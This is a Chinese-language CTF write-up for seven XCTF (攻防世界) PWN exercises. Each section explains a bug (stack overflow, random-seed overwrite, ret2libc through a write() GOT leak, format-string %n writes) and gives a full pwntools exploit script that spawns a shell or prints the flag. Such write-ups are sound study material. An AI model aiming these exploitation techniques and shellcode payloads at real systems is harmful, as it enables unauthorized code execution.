攻防世界-PWN-Exercise-Wirteup

目录

hello_pwn

level0

guess_num

cgpwn2

level3

string

CGfsb


hello_pwn

用ida打开查看源码:

接收最长16个字节,如果dword_60106C = 特定值 则执行sub_400686  这个函数是打印flag

攻防世界-PWN-Exercise-Wirteup_第1张图片

攻防世界-PWN-Exercise-Wirteup_第2张图片

构造payload使得第4个字节开始的数据转换成dword为特定值即可:

from pwn import *

r = remote("220.249.52.133",37341)
payload="aaaa"+p32(0x6E756161)
r.send(payload)
r.interactive()

level0

ida打开:

攻防世界-PWN-Exercise-Wirteup_第3张图片

既然是pwn题目,那肯定存在溢出,查看buf长度0x80,后面是push的ebp。再后面就是返回地址。

程序中也能找到"/bin/sh" 和system函数的地址,但是主流程没看到 /bin/sh的调用 向上查找调用发现了:

攻防世界-PWN-Exercise-Wirteup_第4张图片

这个函数没有参数,直接让这个函数地址覆盖返回地址即可:

from pwn import *

r = remote("220.249.52.133",39187)
callsys_addr=0x400596
payload="a"*0x80+ "b"*8 +p64(callsys_addr)
r.send(payload)
r.interactive()

攻防世界-PWN-Exercise-Wirteup_第5张图片


guess_num

用ida打开:

攻防世界-PWN-Exercise-Wirteup_第6张图片

箭头处依次是输入name,设置随机数种子, 游戏通关后打印flag

查看接收name的内存长度是0x20,后面16个字节的随机数种子。

可以将随机数种子覆盖为特定的值,这样每次产生的随机数序列相同,在本地(linux环境)写个C程序获取序列:

攻防世界-PWN-Exercise-Wirteup_第7张图片

得到序列:

python代码:

from pwn import *

payload='a'*0x20 + p64(0) + p64(0)
num = [2, 5, 4, 2, 6, 2, 5, 1, 4, 2]

r=remote("220.249.52.133",55227)
r.recvuntil("Your name:")
r.sendline(payload)
for i in range(0, 10, 1):
	r.recvuntil("-------------Turn:%d-------------\n"%(i+1))
	r.sendline(chr(num[i]+0x30))
	
print(r.recvall())

得到flag:

攻防世界-PWN-Exercise-Wirteup_第8张图片


cgpwn2

ida查看,是32位程序,关键代码:

s地址:

攻防世界-PWN-Exercise-Wirteup_第9张图片

system函数地址:

没有找到 可以执行的指令字符串地址,但是前面有个输入name  可以用输入的name构造:

'cat flag'或者'/bin/sh'之类的语句。

name的地址:

攻防世界-PWN-Exercise-Wirteup_第10张图片

构造exp:

r=remote("220.249.52.133",36642)

bin_addr=0x0804A080
system_addr=0x08048420

payload= 'a'*0x26+'b'*4 + p32(system_addr)+p32(0)+p32(bin_addr)
r.recvuntil("please tell me your name")
r.sendline("cat flag")
r.recvuntil("hello,you can leave some message here:")
r.sendline(payload)
r.interactive()

得到flag:

攻防世界-PWN-Exercise-Wirteup_第11张图片


level3

这个题是比前面要难很多,可以学到寻找动态库中的函数和字符串的加载地址,看了好几个writeup并配合着执行稍微有点明白了。

1、ELF是CTF的Python库中pwntools的一个模块,用于获取ELF文件的信息,首先要使用ELF(‘文件名’)获取文件句柄
e=ELF(‘文件名’)

用到的几个函数:

获取函数地址:e.symbols[‘函数名’]

获取函数got表地址:e.got[‘函数名’]

获取函数PLT地址:e.plt[‘函数名’]

关于 GOT 和GLT 这里转载一张图片:

攻防世界-PWN-Exercise-Wirteup_第12张图片

程序下载以后解压再解压可以得到可执行程序和libc的库文件,程序放到ida中可以找到溢出点:

攻防世界-PWN-Exercise-Wirteup_第13张图片攻防世界-PWN-Exercise-Wirteup_第14张图片

buf长度0x88 后面就是ebp和返回地址。但是程序中没有找到system函数和bin_sh字符串,需要利用在libc对应的地址。

使用elf的 e.symbols[‘函数名’]可以获取函数在elf中的地址也就是偏移地址。

使用 search函数可以查找字符串在elf中的地址 也是偏移地址。

查看ida代码可知在执行read函数之前有执行write函数,所以GOT表中会有wirte函数的内存地址。

要想获得libc函数的加载地址,需要获取GOT中的内存地址,使用内存地址-偏移地址就是libc的内存地址。再通过libc地址+偏移地址就可以找到system和/bin/sh的地址。

write的内存地址是关键,如果远程返回给本地?通过打印输出,也就是write函数 在屏幕打印 got[‘write’]的值即可。

然后再构建payload时,write打印后的返回地址需要时main函数或者vulnerable_function函数的地址 让程序重新执行到read函数处进行第二次攻击:最终的exp如下:

from pwn import *

libc = ELF('./libc_32.so.6')
system_off = libc.symbols['system']
binsh_off =  next(libc.search('/bin/sh\x00'))
write_off =  libc.symbols['write']

elf=ELF('./level3')
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.symbols['main']

r=remote("220.249.52.133",46973)
payload='a'*0x88 +'b'*4+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
r.readuntil("Input:\n")
r.send(payload)
write_addr = u32(r.recv(4))
print("write_addr:"+hex(write_addr))
base_addr= write_addr - write_off
print("base_addr:"+hex(base_addr))
system_addr=base_addr+system_off
print("system_addr:"+hex(system_addr))
binsh_addr=base_addr+binsh_off
print("binsh_addr:"+hex(binsh_addr))

payload='a'*0x88 +'b'*4+p32(system_addr)+p32(main_addr)+p32(binsh_addr)
r.readuntil("Input:\n")
r.send(payload)
r.interactive()

得到结果:

攻防世界-PWN-Exercise-Wirteup_第15张图片
 


string

ida查看,在这里存在攻击点,但是前提是a1[0] == a1[1]

攻防世界-PWN-Exercise-Wirteup_第16张图片

在main函数中可以找到对应的v4,并不相等,所以需要修改其中一个内存的值使其相等。

攻防世界-PWN-Exercise-Wirteup_第17张图片

这里找到format字符串格式漏洞:

攻防世界-PWN-Exercise-Wirteup_第18张图片

可以使用字符串格式化漏洞,修改a[0]的值,程序中打印出了两个数的地址也是提示点。

格式化字符串漏洞的一些资料https://bbs.pediy.com/thread-253638.htm

需要覆盖v4[0]为85即可:

exp:

#encoding=utf-8
from pwn import *

context.arch = 'amd64'
r=remote("220.249.52.133",43673)

r.recvuntil("secret[0] is ")
aa=r.readline()
a_addr=int("0x"+aa,16)
print("addr a:" + hex(a_addr))
r.recvuntil("What should your character's name be:")
r.sendline("aaa")
r.recvuntil("So, where you will go?east or up?:")
r.sendline("east")
r.recvuntil("go into there(1), or leave(0)?:")
r.sendline("1")
r.recvuntil("'Give me an address'")
r.sendline(str(a_addr))
r.recvuntil("And, you wish is:")
payload='a'*85+"%7$n"
r.sendline(payload)

r.recvuntil("SE YOU SPELL")
payload=asm(shellcraft.sh())
r.sendline(payload)
r.interactive()

CGfsb

菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用。

这个题目也是一个字符串格式化漏洞的题,与上一个不同的是需要在printf的字符串中构造覆盖的地址,

关键代码如下:

攻防世界-PWN-Exercise-Wirteup_第19张图片

printf(&s)存在漏洞,后面判断条件为pwnme == 8 即将pwnme地址的内容覆盖为8即可。

pwnme地址:0x0804A068

输入数据s的地址:

攻防世界-PWN-Exercise-Wirteup_第20张图片

由于是32位程序,参数使用栈传递,所以printf函数的第0个参数是输入的字符串s地址,第esp+4处是第1个参数(格式化参数开始),同理esp+28是第10个参数。得到payload:

payload=p32(addr_pwn)+'a'*4+"%10$n"

攻防世界创建环境失败了,本地测试:

from pwn import *

r=process("./cgfsb")

r.recvuntil("please tell me your name:")
r.sendline("aa")
r.recvuntil("leave your message please:")
addr_pwn=0x0804A068

payload=p32(addr_pwn)+'a'*4+"%10$n"
r.sendline(payload)
r.interactive()

得到flag:

攻防世界-PWN-Exercise-Wirteup_第21张图片


 

你可能感兴趣的:(攻防世界-PWN-Exercise-Wirteup)